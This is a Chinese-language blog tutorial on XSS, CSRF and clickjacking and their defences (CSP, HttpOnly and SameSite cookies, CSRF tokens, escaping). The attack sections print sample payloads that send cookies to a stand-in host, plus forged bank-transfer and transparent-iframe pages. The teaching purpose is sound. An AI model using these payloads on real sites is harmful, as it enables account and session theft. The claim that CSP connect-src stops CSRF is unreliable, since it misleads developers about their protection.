黑客是怎么偷走你账号的?

40 阅读3分钟

你有没有想过:为什么有的网站会被"盗号"?为什么输入个用户名密码,钱就没了?为什么黑客能在你的页面上执行他的代码?

今天,用黑客与门卫的故事,来讲讲浏览器安全。


原文地址

墨渊书肆/黑客是怎么偷走你账号的?


浏览器安全是什么?

为什么浏览器这么危险?

浏览器是最复杂的软件之一。它要:

  • 解析执行任意来源的代码
  • 处理用户输入
  • 访问敏感数据(Cookie、LocalStorage)
  • 与服务器通信

这种"大门敞开"的特性,让浏览器成为黑客攻击的首选目标。

主要威胁有哪些?

威胁全称危险程度
XSS跨站脚本攻击⭐⭐⭐⭐⭐
CSRF跨站请求伪造⭐⭐⭐⭐
点击劫持iframe 嵌套钓鱼⭐⭐⭐

XSS — 在你的页面上执行他的代码

什么是 XSS?

XSS(Cross-Site Scripting)= 跨站脚本攻击。

黑客在你的网站注入他自己的脚本代码,然后在用户的浏览器上执行。

就像坏人溜进了你家厨房,往菜里下了毒。

// 黑客注入的恶意代码
<script>
  // 偷走用户的 Cookie
  document.location = 'https://hack.com/steal?cookie=' + document.cookie;
</script>

XSS 的三种类型

1. 存储型 XSS — 永久留在数据库

最危险的类型。恶意代码永久存储在服务器上。

就像坏人把毒药放进了餐厅的仓库,所有来吃饭的客人都中招。

攻击流程:
1. 黑客在评论区提交恶意脚本
   
2. 服务器保存到数据库
   
3. 其他用户访问页面
   
4. 服务器从数据库读取并返回恶意脚本
   
5. 用户浏览器执行脚本,Cookie 被盗

实际例子:

<!-- 黑客在论坛评论框输入:-->
<script>
  fetch('https://hack.com/steal?cookie=' + document.cookie);
</script>

<!-- 或者更隐蔽的方式:-->
<img src="x" onerror="fetch('https://hack.com/steal?cookie=' + document.cookie)">

<!-- 服务器把这条评论存进数据库,所有访问该页面的用户都会执行这段代码 -->

2. 反射型 XSS — url 参数反射

恶意代码藏在 URL 参数里,服务器把参数"反射"回页面执行。

就像服务员喊"X先生,您的菜好了",结果 X 先生是黑客伪装的。

攻击流程:
1. 黑客构造恶意 URL
   
2. 诱导用户点击(钓鱼链接)
   
3. 服务器把参数反射回页面
   
4. 浏览器执行恶意脚本

实际例子:

// 服务器端代码(Node.js)
app.get('/search', (req, res) => {
  // 直接把查询参数返回给页面
  const query = req.query.q;
  res.send(`<h1>搜索结果:${query}</h1>`);
});

// 恶意 URL:
// https://search.com/search?q=<script>alert('hacked')</script>

// 服务器返回:
// <h1>搜索结果:<script>alert('hacked')</script></h1>

// 浏览器执行了脚本!

3. DOM 型 XSS — 纯前端表演

完全在浏览器端完成,服务器根本不知道。

就像坏人趁你不注意,在你家的厨房监控摄像头上动了手脚。

攻击流程:
1. 网站的 JS  URL 读取参数
   
2.  innerHTML 或类似方法直接插入到页面
   
3. 恶意参数随 URL 一起发送
   
4. 浏览器执行插入的恶意代码

实际例子:

// 网站的搜索框 JS 代码
const params = new URLSearchParams(window.location.search);
const search = params.get('q');
document.getElementById('result').innerHTML = '搜索结果: ' + search;

// 恶意 URL:
// https://site.com?q=<img src=x onerror="fetch('https://hack.com/steal?cookie='+document.cookie)">

// 执行流程:
// 1. 浏览器访问这个 URL
// 2. JS 读取 q 参数 = <img src=x onerror="...">
// 3. innerHTML 把这段 HTML 插入到页面
// 4. <img> 加载失败,触发 onerror,执行恶意代码

XSS 能做什么?

恶意行为说明
偷 Cookie获取 Session ID
键盘记录监听用户输入的密码
钓鱼弹窗伪造登录框获取密码
页面劫持修改页面内容或跳转

CSRF — 偷偷替你发送请求

什么是 CSRF?

CSRF(Cross-Site Request Forgery)= 跨站请求伪造。

黑客利用用户的登录状态,偷偷发送请求。

就像坏人拿着你的银行卡,冒充你去银行转账。

攻击流程

攻击流程:
1. 用户登录银行网站,服务器返回 Session Cookie
   
2. 用户访问恶意网站 evil.com
   
3. evil.com 的页面包含:<img src="bank.com/transfer?to=hacker&money=10000">
   
4. 浏览器请求这张图片,自动带上 bank.com  Cookie
   
5. 银行服务器收到请求,以为是用户操作的,执行转账

常见攻击场景

为什么能成功?

// 恶意网站偷偷发送的请求
fetch('https://bank.com/transfer', {
  method: 'POST',
  body: 'to=hacker&money=10000',
  credentials: 'include'  // 带上 Cookie
});
// 浏览器访问 evil.com 时,会自动带上 bank.com 的 Cookie
// 服务器无法区分是用户自己发的还是被诱导发的

隐藏图片方式:

<!-- 恶意网站的完整代码 -->
<!DOCTYPE html>
<html>
<head><title>恭喜中奖!</title></head>
<body>
  <h1>恭喜!您中了一等奖!</h1>
  <img src="https://bank.com/transfer?to=hacker&money=10000" style="display:none">
</body>
</html>

XSS vs CSRF

对比XSSCSRF
原理在页面执行恶意代码借用用户身份发送请求
目的获取用户数据代表用户执行操作
关键需要 JavaScript 执行需要用户已登录
XSS vs CSRF:
┌─────────────────────────────────────────┐
           XSS(跨站脚本)                
  黑客  注入脚本到你的页面  偷数据      
├─────────────────────────────────────────┤
           CSRF(跨站请求)              
  黑客  借用你的身份  替你操作          
└─────────────────────────────────────────┘

点击劫持 — 透明的陷阱

什么是点击劫持?

黑客把自己网站透明的覆盖在你的网站上,诱导用户点击。

就像坏人用一层透明的塑料薄膜盖在你的门上,用户以为在点自己的门,实际点是坏人的按钮。

攻击流程

攻击流程:
1. 黑客制作恶意网站
   
2. 在页面中用 iframe 嵌入目标网站(设为透明)
   
3.  iframe 上覆盖一个可见的按钮("免费领奖")
   
4. 用户看到按钮并点击
   
5. 实际点击的是 iframe 里的目标网站按钮

实际例子

<!DOCTYPE html>
<html>
<head><title>免费领礼品</title></head>
<body>
  <!-- 覆盖层:诱导用户点击 -->
  <button style="position:absolute; top:100px; left:50px; z-index:1;">
    免费领取iPhone!
  </button>

  <!-- 透明的 iframe:嵌入银行网站 -->
  <iframe src="https://bank.com/transfer"
          style="opacity:0; position:absolute; top:95px; left:45px; z-index:0;">
  </iframe>
</body>
</html>

用户看到"免费领iPhone"按钮,点击时实际触发的是银行转账按钮。


CSP — 浏览器的安全门卫

什么是 CSP?

CSP(Content Security Policy)= 内容安全策略。

一种 HTTP 响应头,告诉浏览器哪些来源可以执行

就像餐厅门口贴告示:"本店只接受来自厨房的菜,其他来源的一律不收"。

Content-Security-Policy: default-src 'self'; script-src 'self' js.example.com; style-src 'self' css.example.com

CSP 能防止什么?

CSP 指令作用
script-src控制 JavaScript 来源
style-src控制 CSS 来源
img-src控制图片来源
connect-src控制 fetch/ajax 来源
frame-src控制 iframe 来源

CSP 防止 XSS

# 不允许内联脚本
Content-Security-Policy: script-src 'self'

# ❌ XSS 注入的脚本会被阻止
<script>alert('xss')</script>

# ✅ 有效 - 浏览器拒绝执行

CSP 防止 CSRF

# 限制 AJAX 和 fetch 的目标
Content-Security-Policy: connect-src 'self' https://api.example.com

# ❌ 恶意请求被阻止
fetch('https://bank.com/transfer?to=hacker')

# ✅ 有效 - 只能请求指定域名
fetch('https://api.example.com/data')

Cookie 的保护

HttpOnly — 禁止 JavaScript 访问

就像给你的会员卡加个锁,只有服务员能刷,你自己也看不见。

Set-Cookie: sessionId=abc123; HttpOnly
HttpOnly 保护原理:
┌─────────────────────────────────────┐
  Cookie: sessionId=abc123; HttpOnly 
├─────────────────────────────────────┤
  JavaScript 访问 document.cookie       被禁止
  浏览器发请求自动携带                   正常
└─────────────────────────────────────┘

Samesite — Cookie 的出场规则

说明防护效果
Strict仅同站请求携带🛡️ 最安全
LaxGET/导航携带,POST/fetch 不带🛡️ 较好
None任何请求都携带❌ 无保护
# 推荐:Lax 模式
Set-Cookie: sessionId=abc123; SameSite=Lax

Samesite 防止 CSRF

就像银行的VIP室:只有你亲自到场(GET导航)才能进,自动取款机(POST表单)不认你的卡。

Samesite=Lax 防护效果:
┌────────────────────────────────────────────┐
 <a href="bank.com转账">点我</a> GET 导航       Cookie
 <form action="bank.com转账" method="POST">     不带 Cookie
 fetch('bank.com/api')                         不带 Cookie
└────────────────────────────────────────────┘

CSRF Token — 双重保护

什么是 CSRF Token?

服务器生成的随机令牌,必须携带才有效。

就像网银的动态口令:每次转账都要输入不同的验证码。

CSRF Token 工作流程:
┌─────────────────────────────────────────────────┐
 1. 用户访问表单页面                             
    服务器生成随机 Token,存入 Session             
    表单中隐藏: <input name="csrf" value="Token"> 
├─────────────────────────────────────────────────┤
 2. 用户提交表单                                 
    发送: POST /transfer + csrf=Token            
├─────────────────────────────────────────────────┤
 3. 服务器验证 Token                             
     匹配  执行操作                           
     不匹配  拒绝请求                         
└─────────────────────────────────────────────────┘

代码实现

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123xyz">
  目标账户: <input type="text" name="to">
  金额: <input type="number" name="money">
  <button type="submit">转账</button>
</form>
// 服务器端验证(Node.js 为例)
app.post('/transfer', (req, res) => {
  const sessionToken = req.session.csrfToken;
  const submittedToken = req.body.csrf_token;

  if (sessionToken !== submittedToken) {
    return res.status(403).json({ error: 'CSRF 验证失败' });
  }

  doTransfer(req.body.to, req.body.money);
});

安全 Headers

常用安全响应头

Header作用
CSP内容安全策略
X-Frame-Options防止 iframe 嵌套
X-Content-Type-Options禁止 MIME 嗅探
Strict-Transport-Security强制 HTTPS
Referrer-Policy控制 Referer 头

X-Frame-Options — 防点击劫持

X-Frame-Options: DENY  # 完全禁止嵌套
X-Frame-Options: SAMEORIGIN  # 仅允许同域名嵌套

X-Content-Type-Options — 防 MIME 嗅探

X-Content-Type-Options: nosniff

编写安全代码

XSS 防护

// ❌ 危险 - innerHTML 直接拼接
element.innerHTML = userInput;

// ✅ 安全 - 使用 textContent
element.textContent = userInput;

// ✅ 安全 - 使用框架
// React、Vue 默认自动转义
// 手动转义函数
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

element.innerHTML = escapeHtml(userInput);

CSRF 防护

// ✅ 同时使用多种防护
// 1. CSRF Token
// 2. Samesite Cookie
// 3. 敏感操作验证码

输入验证

// ✅ 永远不要相信用户输入

// 白名单验证
function isValidUsername(username) {
  return /^[a-zA-Z0-9_]{3,20}$/.test(username);
}

// 类型转换 + 范围检查
const age = parseInt(req.body.age, 10);
if (isNaN(age) || age < 0 || age > 150) {
  return res.status(400).json({ error: '年龄无效' });
}

// 长度限制
if (req.body.content.length > 1000) {
  return res.status(400).json({ error: '内容过长' });
}

总结

攻击与防御对照

攻击防御手段
存储型 XSSCSP + 输入转义 + HttpOnly
反射型 XSSCSP + URL 转义
DOM 型 XSS避免 innerHTML + 安全 API
CSRFCSRF Token + Samesite Cookie
点击劫持X-Frame-Options

安全 checklist

 输入验证:所有用户输入都验证
 输出转义:插入到 HTML 前转义
 HttpOnly Cookie:敏感 Cookie  HttpOnly
 CSRF Token:表单和 AJAX 请求加 Token
 Samesite Cookie:敏感操作用 Lax/Strict
 CSP 策略:配置严格的内容安全策略
 安全 Headers:X-Frame-Options 
 框架使用:避免手动拼接 HTML

写在最后

现在你知道了:

  • XSS 是黑客在你页面注入代码,偷数据
  • CSRF 是黑客借用你的身份发请求
  • 点击劫持 是用透明 iframe 诱导你点击
  • CSP 是浏览器的内容安全策略
  • HttpOnly/Samesite 保护 Cookie 不被偷
  • CSRF Token 确保请求真的是你发的
  • 永远不要相信用户输入,转义是基本素养

下次遇到安全漏洞,你应该能一眼识破了吧?